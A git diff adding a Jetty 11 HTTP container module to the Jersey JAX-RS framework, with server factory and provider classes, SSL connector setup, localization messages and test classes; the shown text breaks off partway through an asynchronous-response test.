+import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.SecureRequestCustomizer;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
+/**
+ * Factory for creating and starting Jetty server handlers. This returns
+ * a handle to the started server as {@link Server} instances, which allows
+ * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ * <p/>
+ * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
+ * This will be used to decrypt and encrypt information sent over the
+ * connected TCP socket channel.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerFactory {
+
+    private JettyHttpContainerFactory() {
+    }
+
+    /**
+     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *            segment will be used as context path, the rest will be ignored.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri) throws ProcessingException {
+        return createServer(uri, null, null, true);
+    }
+
+    /**
+     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *              segment will be used as context path, the rest will be ignored.
+     * @param start if set to false, server will not get started, which allows to configure the underlying transport
+     *              layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
+        return createServer(uri, null, null, start);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri    the URI to create the http server. The URI scheme must be
+     *               equal to "http". The URI user information and host
+     *               are ignored If the URI port is not present then port 80 will be
+     *               used. The URI path, query and fragment components are ignored.
+     * @param config the resource configuration.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final ResourceConfig config)
+            throws ProcessingException {
+
+        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+        return createServer(uri, null, container, true);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
+     *                      used as context path, the rest will be ignored.
+     * @param configuration web application configuration.
+     * @param start         if set to false, server will not get started, which allows to configure the underlying
+     *                      transport layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
+            throws ProcessingException {
+        return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+    }
+
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @param start         if set to false, server will not get started, this allows end users to set
+     *                      additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     * @since 2.12
+     */
+    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
+                                      final Object parentContext) {
+        return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
+    }
+
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     * @since 2.12
+     */
+    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
+        return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param config            the resource configuration.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
+                                      final ResourceConfig config)
+            throws ProcessingException {
+        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+        return createServer(uri, sslContextFactory, container, true);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes found by searching the
+     * classes referenced in the java classpath.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param handler           the container that handles all HTTP requests
+     * @param start             if set to false, server will not get started, this allows end users to set
+     *                          additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     */
+    public static Server createServer(final URI uri,
+                                      final SslContextFactory.Server sslContextFactory,
+                                      final JettyHttpContainer handler,
+                                      final boolean start) {
+        if (uri == null) {
+            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
+        }
+        final String scheme = uri.getScheme();
+        int defaultPort = Container.DEFAULT_HTTP_PORT;
+
+        if (sslContextFactory == null) {
+            if (!"http".equalsIgnoreCase(scheme)) {
+                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
+            }
+        } else {
+            if (!"https".equalsIgnoreCase(scheme)) {
+                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
+            }
+            defaultPort = Container.DEFAULT_HTTPS_PORT;
+        }
+        final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
+
+        final Configuration configuration = handler != null ? handler.getConfiguration() : null;
+        final Server server = new Server(new JettyConnectorThreadPool(configuration));
+        final HttpConfiguration config = new HttpConfiguration();
+        if (sslContextFactory != null) {
+            config.setSecureScheme("https");
+            config.setSecurePort(port);
+            config.addCustomizer(new SecureRequestCustomizer());
+
+            final ServerConnector https = new ServerConnector(server,
+                    new SslConnectionFactory(sslContextFactory, "http/1.1"),
+                    new HttpConnectionFactory(config));
+            https.setPort(port);
+            server.setConnectors(new Connector[]{https});
+
+        } else {
+            final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
+            http.setPort(port);
+            server.setConnectors(new Connector[]{http});
+        }
+        if (handler != null) {
+            server.setHandler(handler);
+        }
+
+        if (start) {
+            try {
+                // Start the server.
+                server.start();
+            } catch (final Exception e) {
+                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+            }
+        }
+        return server;
+    }
+
+    // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
+    //  #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
+    //
+    //  Keeping this for backwards compatibility for the time being
+    private static final class JettyConnectorThreadPool extends QueuedThreadPool {
+        private final ThreadFactory threadFactory;
+
+        private JettyConnectorThreadPool(Configuration configuration) {
+            final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false);
+            if (executors.isVirtual()) {
+                super.setMaxThreads(Integer.MAX_VALUE - 1);
+            }
+
+            this.threadFactory = new ThreadFactoryBuilder()
+                    .setNameFormat("jetty-http-server-%d")
+                    .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
+                    .setThreadFactory(executors.getThreadFactory())
+                    .build();
+        }
+
+        @Override
+        public Thread newThread(Runnable runnable) {
+            return threadFactory.newThread(runnable);
+        }
+    }
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
new file mode 100644
index 0000000..4b80825
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+/**
+ * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerProvider implements ContainerProvider {
+
+    public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
+    @Override
+    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+            return type.cast(new JettyHttpContainer(application));
+        }
+        return null;
+    }
+
+    public <T> T createContainer(final Class<T> type, final Application application,
+                                 Object parentContext) throws ProcessingException {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+            return type.cast(new JettyHttpContainer(application, parentContext));
+        }
+        return null;
+    }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 0000000..dca75e0
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+    private final JettyHttpContainer container;
+
+    private final org.eclipse.jetty.server.Server httpServer;
+
+    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+    }
+
+    JettyHttpServer(final Class<? extends Application> applicationClass,
+                      final JerseySeBootstrapConfiguration configuration) {
+        this(new JettyHttpContainer(applicationClass), configuration);
+    }
+
+    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+                .sslClientAuthentication();
+        final SslContextFactory.Server sslContextFactory;
+        if (configuration.isHttps()) {
+            sslContextFactory = new SslContextFactory.Server();
+            sslContextFactory.setSslContext(configuration.sslContext());
+            sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
+            sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
+        } else {
+            sslContextFactory = null;
+        }
+        this.container = container;
+        this.httpServer = JettyHttpContainerFactory.createServer(
+                configuration.uri(true),
+                sslContextFactory,
+                this.container,
+                configuration.autoStart());
+    }
+
+    @Override
+    public final JettyHttpContainer container() {
+        return this.container;
+    }
+
+    @Override
+    public final int port() {
+        final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
+        final int configuredPort = serverConnector.getPort();
+        final int localPort = serverConnector.getLocalPort();
+        return localPort < 0 ? configuredPort : localPort;
+    }
+
+    @Override
+    public final CompletableFuture<Void> start() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.httpServer.start();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.httpServer.stop();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        return nativeClass.cast(this.httpServer);
+    }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
new file mode 100644
index 0000000..395a9f9
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProvider implements WebServerProvider {
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                      final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+                ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+                                                final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+                ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
similarity index 75%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
index dd25372..27763d0 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey Jetty container classes.
+ */
+package org.glassfish.jersey.jetty;
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000..6b9cc26
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpContainerProvider
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..641eaee
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpServerProvider
diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
new file mode 100644
index 0000000..f6be7cf
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -0,0 +1,25 @@
+#
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+container.started=JettyHttpContainer.handle(...) started.
+exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
+error.when.creating.server=Exception thrown when trying to create jetty server.
+unable.to.close.response=Unable to close response output.
+uri.cannot.be.null=The URI must not be null.
+wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
+wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
+not.supported=Jetty container is not supported on JDK version less than 11.
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
new file mode 100644
index 0000000..7519624
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJettyServerTester {
+
+    private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
+
+    public static final String CONTEXT = "";
+    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        if (server != null) {
+            return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
+        }
+
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+        return DEFAULT_PORT;
+    }
+
+    private final int getPort(RuntimeType runtimeType) {
+        switch (runtimeType) {
+            case SERVER:
+                return getPort();
+            case CLIENT:
+                return server.getURI().getPort();
+            default:
+                throw new IllegalStateException("Unexpected runtime type");
+        }
+    }
+
+    private volatile Server server;
+
+    public UriBuilder getUri() {
+        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+    }
+
+    public void startServer(Class<?>... resources) {
+        ResourceConfig config = new ResourceConfig(resources);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        startServer(config);
+    }
+
+    public void startServer(ResourceConfig config) {
+        final URI baseUri = getBaseUri();
+        server = JettyHttpContainerFactory.createServer(baseUri, config);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
+    }
+
+    public URI getBaseUri() {
+        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+    }
+
+    public void stopServer() {
+        try {
+            server.stop();
+            server = null;
+            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterEach
+    public void tearDown() {
+        if (server != null) {
+            stopServer();
+        }
+    }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
new file mode 100644
index 0000000..dfc66b0
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJettyServerTester {
+
+    @Path("/async")
+    @SuppressWarnings("VoidMethodAnnotatedWithGET")
+    public static class AsyncResource {
+
+        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+        @GET
+        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(5000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(final AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+                            .build());
+                }
